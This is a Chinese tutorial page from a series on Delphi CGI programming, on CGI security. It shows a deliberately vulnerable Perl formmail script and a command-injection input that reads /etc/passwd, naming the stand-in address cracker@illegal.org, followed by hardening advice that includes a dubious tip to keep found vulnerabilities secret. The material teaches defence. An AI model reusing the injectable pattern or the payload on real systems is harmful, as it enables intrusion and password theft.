网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > Delphi
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.TDBGrid中用Enter仿真Tab键盘.
.谈Delphi编程中“流”的利用(一).
.再谈多态――向上映射及VMT/DMT.
.接口与类的区别.
.用Delphi实现BP机、手机短讯.
.关于开发系统后门软件的几点思路.
.字幕图标控件.
.算术编码算法.
.Delphi入门点点滴滴.
.Delphi的大Bug.
.剖析TThread类.
.WANT的心得.
.在Delphi中ADSI创建Windows用户帐.
.将面向对象的思想贯穿始终--谈De.
.菜鸟入门之浅谈函数重载和多态的.
.自定义快速报表的打印预览窗口.
.小话递归.
.Delphi深度探索-CodeSite应用指.
.delphi7从入门到精通之四.
.监控键盘并在得到特定按键后输出.

用Delphi编写CGI程序(五)

发表日期:2006-2-4


CGI 程 序 的 功 能 是 强 大 的, 但 正 是 因 为 如 此 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话,将 使 您 的 系 统 千 疮 百 孔。 本 篇 就 CGI的 安 全 性 问 题 做 一 讨 论。

3 、 CGI 的 安 全 性

   CGI 程 序 的 功 能 是 强 大 的 , 它 不 仅 可 以 具 有 普 通 程 序 的 功 能 , 而 且 可 以 将 程 序 的 结 果 发 布 在 WEB 上 。 但 正 是 因 为 CGI 程 序 的 功 能 如 此 强 大 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话 , 将 使 您 的 系 统 千 疮 百 孔 , 让 一 些 非 法 用 户 有 机 可 乘 。

   这 里 所 讲 到 的 安 全 性 并 不 是 CGI 规 范 引 起 的 , 而 是 编 程 和 系 统 设 置 不 当 引 起 的 。 CGI 规 范 使 用 户 可 以 利 用 服 务 器 的 计 算 能 力 , 是 在 服 务 器 上 的 计 算 不 当 导 致 了 系 统 的 安 全 漏 洞 。 下 面 我 给 出 一 个 在 UNIX 系 统 上 的 一 个 CGI 安 全 漏 洞 , 这 个 漏 洞 是 非 常 常 见 的 。
# !/usr/local/bin/perl
# formmail.cgi

require "cgi.pl";

# Launch e-mail application "/bin/mail" with Subject: header from the "formname" field
open (MAIL, "|/bin/mail -s '".$input{"formname"}."' webweave");

# Add send "formcontents" field as the body of the message
print MAIL $input{"formcontents"};
close(MAIL);
exit(0);


   在 这 个 例 子 中 , CGI 程 序 将 表 单 的 信 息 提 交 给 /bin/mail , 并 发 送 到 webveave 服 务 器 上 去 。 在 大 多 数 情 况 下 这 个 CGI 程 序 可 以 正 常 完 成 任 务 , 但 此 CGI 程 序 未 过 滤 用 户 在 WEB 表 单 中 输 入 的 信 息 , 因 此 留 下 了 安 全 隐 患 。 当 用 户 或 别 有 用 心 的 人 输 入 了 错 误 的 数 据 可 能 导 致 系 统 错 误 或 得 到 不 应 有 的 权 限 。

   例 如 用 户 在 WEB 表 单 的 "formname" 中 填 写 下 面 的 内 容 :

   "ls /etc/passwd 'cracker@illegal.org #'

   在 用 户 的 WEB 浏 览 器 中 就 会 显 示 出 /etc/passwd 的 内 容 , 若 此 UNIX 系 统 的 passwd 文 件 没 有 shadow , 用 户 就 可 以 利 用 此 内 容 , 使 用 crack jack 或 crack john 就 可 以 试 图 破 解 密 码 !

   前 面 已 经 提 到 , CGI 的 安 全 是 程 序 员 和 系 统 管 理 员 都 应 负 责 的 , 下 面 我 就 分 别 讲 一 讲 二 者 应 注 意 的 事 :

   系 统 管 理 员 的 工 作 :
   1 、 与 程 序 员 合 作 , 共 享 有 关 服 务 器 安 全 的 信 息 , 同 时 互 相 检 查 代 码 , 及 时 发 现 代 码 中 的 安 全 问 题 。
   2 、 使 用 好 的 服 务 器 软 件 , 经 常 去 服 务 器 软 件 的 WEB 站 点 了 解 最 新 的 信 息 。
   3 、 将 服 务 器 的 用 户 限 制 在 特 定 的 网 络 主 机 上 , 使 用 服 务 器 的 安 全 管 理 功 能 、 设 置 路 由 存 取 控 制 等 。
   4 、 对 CGI 功 能 进 行 限 制 , 部 分 高 级 服 务 仅 限 于 信 任 的 用 户 , 将 测 试 中 的 CGI 程 序 的 使 用 限 制 在 开 发 人 员 中 , 只 提 供 给 用 户 经 过 测 试 的 CGI 程 序 。
   5 、 在 使 用 其 他 人 的 CGI 程 序 时 , 仔 细 检 查 代 码 。
   6 、 将 CGI 程 序 的 使 用 限 制 在 受 保 护 的 环 境 中 , 服 务 器 设 置 成 非 特 权 用 户 访 问 , 并 为 CGI 程 序 专 门 设 立 一 个 运 行 帐 户 或 组 。
   7 、 将 运 行 CGI 程 序 的 服 务 器 设 置 在 防 火 墙 外 , 这 一 点 一 定 要 注 意 , CGI 程 序 的 服 务 器 必 须 设 置 在 防 火 墙 外 , 如 果 设 置 在 防 火 墙 内 , 一 旦 非 法 用 户 找 到 了 CGI 程 序 服 务 器 的 安 全 漏 洞 , 他 就 可 以 控 制 在 防 火 墙 内 的 所 有 主 机 !
   8 、 降 低 CGI 程 序 的 运 行 优 先 级 , 防 治 用 户 恶 意 运 行 大 量 的 CGI 程 序 导 致 服 务 器 过 载 。
   9 、 订 阅 有 关 网 络 安 全 性 的 邮 件 , 参 加 网 络 安 全 性 的 新 闻 组 。

   CGI 程 序 员 的 工 作 :
   1 、 同 系 统 管 理 员 合 作 , 了 解 系 统 的 安 全 信 息 , 相 互 检 查 代 码 。
   2 、 使 用 可 靠 的 库 程 序 , 检 查 库 程 序 的 源 代 码 。
   3 、 从 REMOTE_HOST 中 得 到 客 户 机 名 , 将 一 些 高 级 功 能 限 制 在 受 信 任 的 客 户 机 。
   4 、 如 果 WEB 服 务 器 提 供 HTTP 口 令 确 认 , 使 用 HTTP 口 令 来 限 制 访 问 。
   5 、 过 滤 用 户 的 输 入 , 去 除 非 法 的 输 入 数 据 。
   6 、 限 制 输 入 数 据 的 大 小 , 防 止 恶 意 用 户 输 入 大 量 数 据 使 服 务 器 过 载 。
   7 、 避 免 传 递 用 户 数 据 到 其 他 应 用 程 序 , 以 免 用 户 调 用 命 令 解 释 器 或 利 用 其 他 应 用 程 序 的 安 全 漏 洞 。
   8 、 发 现 了 CGI 程 序 的 漏 洞 时 , 不 要 对 任 何 人 讲 , 更 不 要 在 程 序 中 注 释 说 明 , 您 应 该 作 的 就 是 立 刻 修 补 漏 洞 。
   9 、 学 作 攻 击 者 , 找 出 CGI 程 序 的 安 全 漏 洞 。
上一篇:用Delphi编写CGI程序(四) 人气:3958
下一篇:用Delphi编写CGI程序(六) 人气:3557
浏览全部Delphi的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐